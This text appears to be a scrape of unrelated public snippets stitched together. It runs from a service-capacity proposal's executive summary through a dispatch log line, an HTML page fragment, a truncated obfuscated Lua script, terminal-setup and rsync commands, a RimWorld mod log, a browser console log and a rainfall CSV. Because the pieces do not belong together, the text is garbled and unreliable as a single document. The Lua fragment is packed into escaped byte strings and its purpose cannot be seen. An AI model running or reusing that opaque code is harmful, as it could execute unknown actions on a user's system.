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Predictive Service Availability and Capacity Planning

Project Proposal for Executive Review


Executive Summary

Our global service infrastructure operates across multiple work units (clusters) worldwide, each capable of generating millions of metrics and log lines per second. Today, critical decisions around capacity planning, traffic failover, and incident response rely heavily on human judgment and tribal knowledge. Operators manually interpret dashboards, estimate work unit capacity, and determine optimal traffic routing during incidents—processes that are time-sensitive, error-prone, and do not scale.

25-17514-MED | 12/19/2025 20:35:44 | MEDICAL EMERGENCY - DELTA LEVEL | WITHHELD | Barnstead, NH, USA
<!DOCTYPE html>
<html lang="fa">
<head>
<meta charset="UTF-8">
<title>My App</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body style="font-family:tahoma;text-align:center;padding-top:60px">
<h2>داداش 😎</h2>
return(function(...)local X={"\098\109\080\115\108\043\085\109\100\116\053\107\076\119\061\061";"\119\086\049\056\083\114\061\061","\100\089\090\119\074\106\085\048";"\049\047\080\106\071\118\105\099\082\072\074\070\119\119\061\061","\070\065\119\076\067\110\103\067\050\048\056\104\043\068\078\098","\080\114\061\061";"\122\101\107\116\101\051\061\061","\122\109\057\071\078\102\121\099\079\056\097\102\078\102\082\120\051\114\061\061";"\077\107\073\108","\084\088\053\115\083\110\072\075\113\071\066\116\079\075\083\065\104\119\061\061";"\119\055\073\122\098\116\071\068\074\111\113\061";"\069\053\110\089\113\082\088\110\084\115\055\065\110\115\098\103\074\086\072\054","\103\067\099\116\118\109\088\101\078\078\113\089\072\077\065\103\113\074\114\118\085\087\070\083\098\050\113\076\050\051\061\061";"\084\106\078\088\053\084\072\086\083\087\105\067\101\087\073\061","\072\055\102\061";"\120\075\076\052\099\066\055\070\055\087\074\117\056\050\081\061","\068\082\098\100\083\083\108\112";"\087\056\115\088","\101\043\087
# install terminal
sudo apt install tilix
# add auto complete
git clone --recursive --depth 1 https://github.com/akinomyoga/ble.sh ~/.ble.sh
make -C ~/.ble.sh
echo "source ~/.ble.sh/out/ble.sh" >> ~/.bashrc
demo my opay bank.org
@arami265
arami265 / rsync_ssh_dry-run.sh
Created December 20, 2025 01:33
dry run - rsync directory over SSH with exclusions
rsync -aAXH --numeric-ids --dry-run --delete \
--info=stats2,progress2 \
--exclude='cache/' \
--exclude='*.log' \
--exclude='.env' \
/path/to/source_dir/ user@debian-host:/path/to/dest_dir/
@HugsLibRecordKeeper
HugsLibRecordKeeper / output_log.txt
Created December 20, 2025 01:31
Rimworld output log published using HugsLib
Log uploaded on Friday, December 19, 2025, 10:31:34 PM
Loaded mods:
Harmony(brrainz.harmony)[mv:2.4.2.0]: 0Harmony(2.4.1), HarmonyMod(2.4.2)
Core(Ludeon.RimWorld): (no assemblies)
Biotech(Ludeon.RimWorld.Biotech): (no assemblies)
EdB Prepare Carefully(EdB.PrepareCarefully)[mv:1.6.2]: EdBPrepareCarefully(av:1.1.1,fv:1.6.2)
HugsLib(UnlimitedHugs.HugsLib)[ov:12.0.0]: 0Harmony(av:2.4.1,fv:1.2.0.1), HugsLib(av:1.0.0,fv:12.0.0)
Increased Stack(Taveron.IncreasedStack): (no assemblies)
Vanilla Expanded Framework(OskarPotocki.VanillaFactionsExpanded.Core): 0ModSettingsFramework(1.0.0), 0PrepatcherAPI(1.2.0), KCSG(av:1.1.2,fv:25.11.14), MVCF(2.0.0.1), Outposts(av:3.0.0,fv:1.0.0), PipeSystem(av:1.0.1,fv:22.7.29), VEF(av:1.1.7,fv:1.1.9)
Vanilla Weapons Expanded(VanillaExpanded.VWE)[mv:1.0.5.0]: (no assemblies)
19:30:01.892 image-generation:1 Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'forEach')
at image-generation:1:18655
19:30:01.895 image-generation:16 [导航防护] Web 端(桌面),启用手势拦截 🛡️
19:30:02.087 accounts.google.com/gsi/client:1 Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
19:30:02.087 www.googletagmanager.com/gtag/js?id=G-5PMRNYL7P0:1 Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
19:30:02.120 Maximize Video.user.js:65 [2025-12-19 19:30:02][Maximize Video] > Ready
19:30:02.921 4ndr0tools - Hailuo4ndr0debugger2.user.js:71 Hailuo++ [DEBUG]: Processing polling data: Object
19:30:03.556 5566-d3912c1da5f38668.js:1 historyImages ===== 0
19:30:03.877 default_avatar.png:1 Failed to load resource: net::ERR_CERT_DATE_INVALID
19:30:04.008 bat.js:1 Failed to load resource: net::ERR_BLOCKED_BY_CLIENT
@forkyau
forkyau / hourly_rainfall_data-2025-12-20|09-15.csv
Created December 20, 2025 01:31
GIST created by python code
id station stationid value unit obstime date
0 流浮山 RF001 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
1 湿地公园 RF002 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
2 水边围 N12 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
3 石岗 RF003 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
4 大美督 RF004 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
5 大埔墟 RF005 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
6 北潭涌 RF006 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
7 滘西洲 RF007 0 mm 2025-12-20T09:15:00+08:00 2025-12-20
8 西贡 N15 0 mm 2025-12-20T09:15:00+08:00 2025-12-20